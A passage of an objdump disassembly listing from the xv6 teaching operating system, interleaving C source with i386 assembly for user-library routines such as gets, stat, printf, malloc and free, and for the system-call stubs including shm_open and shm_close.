cc = read(0, &c, 1); 1170: 83 ec 04 sub $0x4,%esp 1173: 8d 45 e7 lea -0x19(%ebp),%eax 1176: 6a 01 push $0x1 1178: 50 push %eax 1179: 6a 00 push $0x0 117b: e8 2b 01 00 00 call 12ab <read> if(cc < 1) 1180: 83 c4 10 add $0x10,%esp 1183: 85 c0 test %eax,%eax 1185: 7e 1c jle 11a3 <gets+0x53> break; buf[i++] = c; 1187: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 118b: 83 c7 01 add $0x1,%edi 118e: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1191: 3c 0a cmp $0xa,%al 1193: 74 23 je 11b8 <gets+0x68> 1195: 3c 0d cmp $0xd,%al 1197: 74 1f je 11b8 <gets+0x68> for(i=0; i+1 < max; ){ 1199: 83 c3 01 add $0x1,%ebx 119c: 89 fe mov %edi,%esi 119e: 3b 5d 0c cmp 0xc(%ebp),%ebx 11a1: 7c cd jl 1170 <gets+0x20> 11a3: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 11a5: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 11a8: c6 03 00 movb $0x0,(%ebx) } 11ab: 8d 65 f4 lea -0xc(%ebp),%esp 11ae: 5b pop %ebx 11af: 5e pop %esi 11b0: 5f pop %edi 11b1: 5d pop %ebp 11b2: c3 ret 11b3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11b7: 90 nop 11b8: 8b 75 08 mov 0x8(%ebp),%esi 11bb: 8b 45 08 mov 0x8(%ebp),%eax 11be: 01 de add %ebx,%esi 11c0: 89 f3 mov %esi,%ebx buf[i] = '\0'; 11c2: c6 03 00 movb $0x0,(%ebx) } 11c5: 8d 65 f4 lea -0xc(%ebp),%esp 11c8: 5b pop %ebx 11c9: 5e pop %esi 11ca: 5f pop %edi 11cb: 5d pop %ebp 11cc: c3 ret 11cd: 8d 76 00 lea 0x0(%esi),%esi 000011d0 <stat>: int stat(char *n, struct stat *st) { 11d0: f3 0f 1e fb endbr32 11d4: 55 push %ebp 11d5: 89 e5 mov %esp,%ebp 11d7: 56 push %esi 11d8: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 11d9: 83 ec 08 sub $0x8,%esp 11dc: 6a 00 push $0x0 11de: ff 75 08 pushl 0x8(%ebp) 11e1: e8 ed 00 00 00 call 12d3 <open> if(fd < 0) 11e6: 83 c4 10 add $0x10,%esp 11e9: 85 c0 test %eax,%eax 11eb: 78 2b js 1218 <stat+0x48> return -1; r = fstat(fd, st); 11ed: 83 ec 08 sub $0x8,%esp 11f0: ff 75 0c pushl 0xc(%ebp) 11f3: 89 c3 mov %eax,%ebx 11f5: 50 push %eax 11f6: e8 f0 00 00 00 call 12eb <fstat> close(fd); 11fb: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 11fe: 89 c6 mov %eax,%esi close(fd); 1200: e8 b6 00 00 00 call 12bb <close> return r; 1205: 83 c4 10 add $0x10,%esp } 1208: 8d 65 f8 lea -0x8(%ebp),%esp 120b: 89 f0 mov %esi,%eax 120d: 5b pop %ebx 120e: 5e pop %esi 120f: 5d pop %ebp 1210: c3 ret 1211: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 1218: be ff ff ff ff mov $0xffffffff,%esi 121d: eb e9 jmp 1208 <stat+0x38> 121f: 90 nop 00001220 <atoi>: int atoi(const char *s) { 1220: f3 0f 1e fb endbr32 1224: 55 push %ebp 1225: 89 e5 mov %esp,%ebp 1227: 53 push %ebx 1228: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 122b: 0f be 02 movsbl (%edx),%eax 122e: 8d 48 d0 lea -0x30(%eax),%ecx 1231: 80 f9 09 cmp $0x9,%cl n = 0; 1234: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 1239: 77 1a ja 1255 <atoi+0x35> 123b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 123f: 90 nop n = n*10 + *s++ - '0'; 1240: 83 c2 01 add $0x1,%edx 1243: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1246: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 124a: 0f be 02 movsbl (%edx),%eax 124d: 8d 58 d0 lea -0x30(%eax),%ebx 1250: 80 fb 09 cmp $0x9,%bl 1253: 76 eb jbe 1240 <atoi+0x20> return n; } 1255: 89 c8 mov %ecx,%eax 1257: 5b pop %ebx 1258: 5d pop %ebp 1259: c3 ret 125a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001260 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1260: f3 0f 1e fb endbr32 1264: 55 push %ebp 1265: 89 e5 mov %esp,%ebp 1267: 57 push %edi 1268: 8b 45 10 mov 0x10(%ebp),%eax 126b: 8b 55 08 mov 0x8(%ebp),%edx 126e: 56 push %esi 126f: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1272: 85 c0 test %eax,%eax 1274: 7e 0f jle 1285 <memmove+0x25> 1276: 01 d0 add %edx,%eax dst = vdst; 1278: 89 d7 mov %edx,%edi 127a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 1280: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 1281: 39 f8 cmp %edi,%eax 1283: 75 fb jne 1280 <memmove+0x20> return vdst; } 1285: 5e pop %esi 1286: 89 d0 mov %edx,%eax 1288: 5f pop %edi 1289: 5d pop %ebp 128a: c3 ret 0000128b <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 128b: b8 01 00 00 00 mov $0x1,%eax 1290: cd 40 int $0x40 1292: c3 ret 00001293 <exit>: SYSCALL(exit) 1293: b8 02 00 00 00 mov $0x2,%eax 1298: cd 40 int $0x40 129a: c3 ret 0000129b <wait>: SYSCALL(wait) 129b: b8 03 00 00 00 mov $0x3,%eax 12a0: cd 40 int $0x40 12a2: c3 ret 000012a3 <pipe>: SYSCALL(pipe) 12a3: b8 04 00 00 00 mov $0x4,%eax 12a8: cd 40 int $0x40 12aa: c3 ret 000012ab <read>: SYSCALL(read) 12ab: b8 05 00 00 00 mov $0x5,%eax 12b0: cd 40 int $0x40 12b2: c3 ret 000012b3 <write>: SYSCALL(write) 12b3: b8 10 00 00 00 mov $0x10,%eax 12b8: cd 40 int $0x40 12ba: c3 ret 000012bb <close>: SYSCALL(close) 12bb: b8 15 00 00 00 mov $0x15,%eax 12c0: cd 40 int $0x40 12c2: c3 ret 000012c3 <kill>: SYSCALL(kill) 12c3: b8 06 00 00 00 mov $0x6,%eax 12c8: cd 40 int $0x40 12ca: c3 ret 000012cb <exec>: SYSCALL(exec) 12cb: b8 07 00 00 00 mov $0x7,%eax 12d0: cd 40 int $0x40 12d2: c3 ret 000012d3 <open>: SYSCALL(open) 12d3: b8 0f 00 00 00 mov $0xf,%eax 12d8: cd 40 int $0x40 12da: c3 ret 000012db <mknod>: SYSCALL(mknod) 12db: b8 11 00 00 00 mov $0x11,%eax 12e0: cd 40 int $0x40 12e2: c3 ret 000012e3 <unlink>: SYSCALL(unlink) 12e3: b8 12 00 00 00 mov $0x12,%eax 12e8: cd 40 int $0x40 12ea: c3 ret 000012eb <fstat>: SYSCALL(fstat) 12eb: b8 08 00 00 00 mov $0x8,%eax 12f0: cd 40 int $0x40 12f2: c3 ret 000012f3 <link>: SYSCALL(link) 12f3: b8 13 00 00 00 mov $0x13,%eax 12f8: cd 40 int $0x40 12fa: c3 ret 000012fb <mkdir>: SYSCALL(mkdir) 12fb: b8 14 00 00 00 mov $0x14,%eax 1300: cd 40 int $0x40 1302: c3 ret 00001303 <chdir>: SYSCALL(chdir) 1303: b8 09 00 00 00 mov $0x9,%eax 1308: cd 40 int $0x40 130a: c3 ret 0000130b <dup>: SYSCALL(dup) 130b: b8 0a 00 00 00 mov $0xa,%eax 1310: cd 40 int $0x40 1312: c3 ret 00001313 <getpid>: SYSCALL(getpid) 1313: b8 0b 00 00 00 mov $0xb,%eax 1318: cd 40 int $0x40 131a: c3 ret 0000131b <sbrk>: SYSCALL(sbrk) 131b: b8 0c 00 00 00 mov $0xc,%eax 1320: cd 40 int $0x40 1322: c3 ret 00001323 <sleep>: SYSCALL(sleep) 1323: b8 0d 00 00 00 mov $0xd,%eax 1328: cd 40 int $0x40 132a: c3 ret 0000132b <uptime>: SYSCALL(uptime) 132b: b8 0e 00 00 00 mov $0xe,%eax 1330: cd 40 int $0x40 1332: c3 ret 00001333 <shm_open>: SYSCALL(shm_open) 1333: b8 16 00 00 00 mov $0x16,%eax 1338: cd 40 int $0x40 133a: c3 ret 0000133b <shm_close>: SYSCALL(shm_close) 133b: b8 17 00 00 00 mov $0x17,%eax 1340: cd 40 int $0x40 1342: c3 ret 1343: 66 90 xchg %ax,%ax 1345: 66 90 xchg %ax,%ax 1347: 66 90 xchg %ax,%ax 1349: 66 90 xchg %ax,%ax 134b: 66 90 xchg %ax,%ax 134d: 66 90 xchg %ax,%ax 134f: 90 nop 00001350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1350: 55 push %ebp 1351: 89 e5 mov %esp,%ebp 1353: 57 push %edi 1354: 56 push %esi 1355: 53 push %ebx 1356: 83 ec 3c sub $0x3c,%esp 1359: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 135c: 89 d1 mov %edx,%ecx { 135e: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 1361: 85 d2 test %edx,%edx 1363: 0f 89 7f 00 00 00 jns 13e8 <printint+0x98> 1369: f6 45 08 01 testb $0x1,0x8(%ebp) 136d: 74 79 je 13e8 <printint+0x98> neg = 1; 136f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 1376: f7 d9 neg %ecx } else { x = xx; } i = 0; 1378: 31 db xor %ebx,%ebx 137a: 8d 75 d7 lea -0x29(%ebp),%esi 137d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1380: 89 c8 mov %ecx,%eax 1382: 31 d2 xor %edx,%edx 1384: 89 cf mov %ecx,%edi 1386: f7 75 c4 divl -0x3c(%ebp) 1389: 0f b6 92 b0 17 00 00 movzbl 0x17b0(%edx),%edx 1390: 89 45 c0 mov %eax,-0x40(%ebp) 1393: 89 d8 mov %ebx,%eax 1395: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 1398: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 139b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 139e: 39 7d c4 cmp %edi,-0x3c(%ebp) 13a1: 76 dd jbe 1380 <printint+0x30> if(neg) 13a3: 8b 4d bc mov -0x44(%ebp),%ecx 13a6: 85 c9 test %ecx,%ecx 13a8: 74 0c je 13b6 <printint+0x66> buf[i++] = '-'; 13aa: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 13af: 89 d8 mov %ebx,%eax buf[i++] = '-'; 13b1: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 13b6: 8b 7d b8 mov -0x48(%ebp),%edi 13b9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 13bd: eb 07 jmp 13c6 <printint+0x76> 13bf: 90 nop 13c0: 0f b6 13 movzbl (%ebx),%edx 13c3: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 13c6: 83 ec 04 sub $0x4,%esp 13c9: 88 55 d7 mov %dl,-0x29(%ebp) 13cc: 6a 01 push $0x1 13ce: 56 push %esi 13cf: 57 push %edi 13d0: e8 de fe ff ff call 12b3 <write> while(--i >= 0) 13d5: 83 c4 10 add $0x10,%esp 13d8: 39 de cmp %ebx,%esi 13da: 75 e4 jne 13c0 <printint+0x70> putc(fd, buf[i]); } 13dc: 8d 65 f4 lea -0xc(%ebp),%esp 13df: 5b pop %ebx 13e0: 5e pop %esi 13e1: 5f pop %edi 13e2: 5d pop %ebp 13e3: c3 ret 13e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 13e8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 13ef: eb 87 jmp 1378 <printint+0x28> 13f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13f8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13ff: 90 nop 00001400 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1400: f3 0f 1e fb endbr32 1404: 55 push %ebp 1405: 89 e5 mov %esp,%ebp 1407: 57 push %edi 1408: 56 push %esi 1409: 53 push %ebx 140a: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 140d: 8b 75 0c mov 0xc(%ebp),%esi 1410: 0f b6 1e movzbl (%esi),%ebx 1413: 84 db test %bl,%bl 1415: 0f 84 b4 00 00 00 je 14cf <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 141b: 8d 45 10 lea 0x10(%ebp),%eax 141e: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 1421: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 1424: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 1426: 89 45 d0 mov %eax,-0x30(%ebp) 1429: eb 33 jmp 145e <printf+0x5e> 142b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 142f: 90 nop 1430: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 1433: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 1438: 83 f8 25 cmp $0x25,%eax 143b: 74 17 je 1454 <printf+0x54> write(fd, &c, 1); 143d: 83 ec 04 sub $0x4,%esp 1440: 88 5d e7 mov %bl,-0x19(%ebp) 1443: 6a 01 push $0x1 1445: 57 push %edi 1446: ff 75 08 pushl 0x8(%ebp) 1449: e8 65 fe ff ff call 12b3 <write> 144e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 1451: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 1454: 0f b6 1e movzbl (%esi),%ebx 1457: 83 c6 01 add $0x1,%esi 145a: 84 db test %bl,%bl 145c: 74 71 je 14cf <printf+0xcf> c = fmt[i] & 0xff; 145e: 0f be cb movsbl %bl,%ecx 1461: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1464: 85 d2 test %edx,%edx 1466: 74 c8 je 1430 <printf+0x30> } } else if(state == '%'){ 1468: 83 fa 25 cmp $0x25,%edx 146b: 75 e7 jne 1454 <printf+0x54> if(c == 'd'){ 146d: 83 f8 64 cmp $0x64,%eax 1470: 0f 84 9a 00 00 00 je 1510 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1476: 81 e1 f7 00 00 00 and $0xf7,%ecx 147c: 83 f9 70 cmp $0x70,%ecx 147f: 74 5f je 14e0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1481: 83 f8 73 cmp $0x73,%eax 1484: 0f 84 d6 00 00 00 je 1560 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 148a: 83 f8 63 cmp $0x63,%eax 148d: 0f 84 8d 00 00 00 je 1520 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 1493: 83 f8 25 cmp $0x25,%eax 1496: 0f 84 b4 00 00 00 je 1550 <printf+0x150> write(fd, &c, 1); 149c: 83 ec 04 sub $0x4,%esp 149f: c6 45 e7 25 movb $0x25,-0x19(%ebp) 14a3: 6a 01 push $0x1 14a5: 57 push %edi 14a6: ff 75 08 pushl 0x8(%ebp) 14a9: e8 05 fe ff ff call 12b3 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 14ae: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 14b1: 83 c4 0c add $0xc,%esp 14b4: 6a 01 push $0x1 14b6: 83 c6 01 add $0x1,%esi 14b9: 57 push %edi 14ba: ff 75 08 pushl 0x8(%ebp) 14bd: e8 f1 fd ff ff call 12b3 <write> for(i = 0; fmt[i]; i++){ 14c2: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 14c6: 83 c4 10 add $0x10,%esp } state = 0; 14c9: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 14cb: 84 db test %bl,%bl 14cd: 75 8f jne 145e <printf+0x5e> } } } 14cf: 8d 65 f4 lea -0xc(%ebp),%esp 14d2: 5b pop %ebx 14d3: 5e pop %esi 14d4: 5f pop %edi 14d5: 5d pop %ebp 14d6: c3 ret 14d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 14de: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 14e0: 83 ec 0c sub $0xc,%esp 14e3: b9 10 00 00 00 mov $0x10,%ecx 14e8: 6a 00 push $0x0 14ea: 8b 5d d0 mov -0x30(%ebp),%ebx 14ed: 8b 45 08 mov 0x8(%ebp),%eax 14f0: 8b 13 mov (%ebx),%edx 14f2: e8 59 fe ff ff call 1350 <printint> ap++; 14f7: 89 d8 mov %ebx,%eax 14f9: 83 c4 10 add $0x10,%esp state = 0; 14fc: 31 d2 xor %edx,%edx ap++; 14fe: 83 c0 04 add $0x4,%eax 1501: 89 45 d0 mov %eax,-0x30(%ebp) 1504: e9 4b ff ff ff jmp 1454 <printf+0x54> 1509: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 1510: 83 ec 0c sub $0xc,%esp 1513: b9 0a 00 00 00 mov $0xa,%ecx 1518: 6a 01 push $0x1 151a: eb ce jmp 14ea <printf+0xea> 151c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 1520: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 1523: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 1526: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 1528: 6a 01 push $0x1 ap++; 152a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 152d: 57 push %edi 152e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 1531: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1534: e8 7a fd ff ff call 12b3 <write> ap++; 1539: 89 5d d0 mov %ebx,-0x30(%ebp) 153c: 83 c4 10 add $0x10,%esp state = 0; 153f: 31 d2 xor %edx,%edx 1541: e9 0e ff ff ff jmp 1454 <printf+0x54> 1546: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 154d: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 1550: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1553: 83 ec 04 sub $0x4,%esp 1556: e9 59 ff ff ff jmp 14b4 <printf+0xb4> 155b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 155f: 90 nop s = (char*)*ap; 1560: 8b 45 d0 mov -0x30(%ebp),%eax 1563: 8b 18 mov (%eax),%ebx ap++; 1565: 83 c0 04 add $0x4,%eax 1568: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 156b: 85 db test %ebx,%ebx 156d: 74 17 je 1586 <printf+0x186> while(*s != 0){ 156f: 0f b6 03 movzbl (%ebx),%eax state = 0; 1572: 31 d2 xor %edx,%edx while(*s != 0){ 1574: 84 c0 test %al,%al 1576: 0f 84 d8 fe ff ff je 1454 <printf+0x54> 157c: 89 75 d4 mov %esi,-0x2c(%ebp) 157f: 89 de mov %ebx,%esi 1581: 8b 5d 08 mov 0x8(%ebp),%ebx 1584: eb 1a jmp 15a0 <printf+0x1a0> s = "(null)"; 1586: bb a8 17 00 00 mov $0x17a8,%ebx while(*s != 0){ 158b: 89 75 d4 mov %esi,-0x2c(%ebp) 158e: b8 28 00 00 00 mov $0x28,%eax 1593: 89 de mov %ebx,%esi 1595: 8b 5d 08 mov 0x8(%ebp),%ebx 1598: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 159f: 90 nop write(fd, &c, 1); 15a0: 83 ec 04 sub $0x4,%esp s++; 15a3: 83 c6 01 add $0x1,%esi 15a6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 15a9: 6a 01 push $0x1 15ab: 57 push %edi 15ac: 53 push %ebx 15ad: e8 01 fd ff ff call 12b3 <write> while(*s != 0){ 15b2: 0f b6 06 movzbl (%esi),%eax 15b5: 83 c4 10 add $0x10,%esp 15b8: 84 c0 test %al,%al 15ba: 75 e4 jne 15a0 <printf+0x1a0> 15bc: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 15bf: 31 d2 xor %edx,%edx 15c1: e9 8e fe ff ff jmp 1454 <printf+0x54> 15c6: 66 90 xchg %ax,%ax 15c8: 66 90 xchg %ax,%ax 15ca: 66 90 xchg %ax,%ax 15cc: 66 90 xchg %ax,%ax 15ce: 66 90 xchg %ax,%ax 000015d0 <free>: static Header base; static Header *freep; void free(void *ap) { 15d0: f3 0f 1e fb endbr32 15d4: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15d5: a1 98 1a 00 00 mov 0x1a98,%eax { 15da: 89 e5 mov %esp,%ebp 15dc: 57 push %edi 15dd: 56 push %esi 15de: 53 push %ebx 15df: 8b 5d 08 mov 0x8(%ebp),%ebx 15e2: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 15e4: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15e7: 39 c8 cmp %ecx,%eax 15e9: 73 15 jae 1600 <free+0x30> 15eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 15ef: 90 nop 15f0: 39 d1 cmp %edx,%ecx 15f2: 72 14 jb 1608 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15f4: 39 d0 cmp %edx,%eax 15f6: 73 10 jae 1608 <free+0x38> { 15f8: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15fa: 8b 10 mov (%eax),%edx 15fc: 39 c8 cmp %ecx,%eax 15fe: 72 f0 jb 15f0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1600: 39 d0 cmp %edx,%eax 1602: 72 f4 jb 15f8 <free+0x28> 1604: 39 d1 cmp %edx,%ecx 1606: 73 f0 jae 15f8 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 1608: 8b 73 fc mov -0x4(%ebx),%esi 160b: 8d 3c f1 lea (%ecx,%esi,8),%edi 160e: 39 fa cmp %edi,%edx 1610: 74 1e je 1630 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 1612: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1615: 8b 50 04 mov 0x4(%eax),%edx 1618: 8d 34 d0 lea (%eax,%edx,8),%esi 161b: 39 f1 cmp %esi,%ecx 161d: 74 28 je 1647 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 161f: 89 08 mov %ecx,(%eax) freep = p; } 1621: 5b pop %ebx freep = p; 1622: a3 98 1a 00 00 mov %eax,0x1a98 } 1627: 5e pop %esi 1628: 5f pop %edi 1629: 5d pop %ebp 162a: c3 ret 162b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 162f: 90 nop bp->s.size += p->s.ptr->s.size; 1630: 03 72 04 add 0x4(%edx),%esi 1633: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 1636: 8b 10 mov (%eax),%edx 1638: 8b 12 mov (%edx),%edx 163a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 163d: 8b 50 04 mov 0x4(%eax),%edx 1640: 8d 34 d0 lea (%eax,%edx,8),%esi 1643: 39 f1 cmp %esi,%ecx 1645: 75 d8 jne 161f <free+0x4f> p->s.size += bp->s.size; 1647: 03 53 fc add -0x4(%ebx),%edx freep = p; 164a: a3 98 1a 00 00 mov %eax,0x1a98 p->s.size += bp->s.size; 164f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1652: 8b 53 f8 mov -0x8(%ebx),%edx 1655: 89 10 mov %edx,(%eax) } 1657: 5b pop %ebx 1658: 5e pop %esi 1659: 5f pop %edi 165a: 5d pop %ebp 165b: c3 ret 165c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001660 <malloc>: return freep; } void* malloc(uint nbytes) { 1660: f3 0f 1e fb endbr32 1664: 55 push %ebp 1665: 89 e5 mov %esp,%ebp 1667: 57 push %edi 1668: 56 push %esi 1669: 53 push %ebx 166a: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 166d: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 1670: 8b 3d 98 1a 00 00 mov 0x1a98,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1676: 8d 70 07 lea 0x7(%eax),%esi 1679: c1 ee 03 shr $0x3,%esi 167c: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 167f: 85 ff test %edi,%edi 1681: 0f 84 a9 00 00 00 je 1730 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1687: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 1689: 8b 48 04 mov 0x4(%eax),%ecx 168c: 39 f1 cmp %esi,%ecx 168e: 73 6d jae 16fd <malloc+0x9d> 1690: 81 fe 00 10 00 00 cmp $0x1000,%esi 1696: bb 00 10 00 00 mov $0x1000,%ebx 169b: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 169e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 16a5: 89 4d e4 mov %ecx,-0x1c(%ebp) 16a8: eb 17 jmp 16c1 <malloc+0x61> 16aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 16b0: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 16b2: 8b 4a 04 mov 0x4(%edx),%ecx 16b5: 39 f1 cmp %esi,%ecx 16b7: 73 4f jae 1708 <malloc+0xa8> 16b9: 8b 3d 98 1a 00 00 mov 0x1a98,%edi 16bf: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 16c1: 39 c7 cmp %eax,%edi 16c3: 75 eb jne 16b0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 16c5: 83 ec 0c sub $0xc,%esp 16c8: ff 75 e4 pushl -0x1c(%ebp) 16cb: e8 4b fc ff ff call 131b <sbrk> if(p == (char*)-1) 16d0: 83 c4 10 add $0x10,%esp 16d3: 83 f8 ff cmp $0xffffffff,%eax 16d6: 74 1b je 16f3 <malloc+0x93> hp->s.size = nu; 16d8: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 16db: 83 ec 0c sub $0xc,%esp 16de: 83 c0 08 add $0x8,%eax 16e1: 50 push %eax 16e2: e8 e9 fe ff ff call 15d0 <free> return freep; 16e7: a1 98 1a 00 00 mov 0x1a98,%eax if((p = morecore(nunits)) == 0) 16ec: 83 c4 10 add $0x10,%esp 16ef: 85 c0 test %eax,%eax 16f1: 75 bd jne 16b0 <malloc+0x50> return 0; } } 16f3: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 16f6: 31 c0 xor %eax,%eax } 16f8: 5b pop %ebx 16f9: 5e pop %esi 16fa: 5f pop %edi 16fb: 5d pop %ebp 16fc: c3 ret if(p->s.size >= nunits){ 16fd: 89 c2 mov %eax,%edx 16ff: 89 f8 mov %edi,%eax 1701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1708: 39 ce cmp %ecx,%esi 170a: 74 54 je 1760 <malloc+0x100> p->s.size -= nunits; 170c: 29 f1 sub %esi,%ecx 170e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 1711: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 1714: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 1717: a3 98 1a 00 00 mov %eax,0x1a98 } 171c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 171f: 8d 42 08 lea 0x8(%edx),%eax } 1722: 5b pop %ebx 1723: 5e pop %esi 1724: 5f pop %edi 1725: 5d pop %ebp 1726: c3 ret 1727: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 172e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 1730: c7 05 98 1a 00 00 9c movl $0x1a9c,0x1a98 1737: 1a 00 00 base.s.size = 0; 173a: bf 9c 1a 00 00 mov $0x1a9c,%edi base.s.ptr = freep = prevp = &base; 173f: c7 05 9c 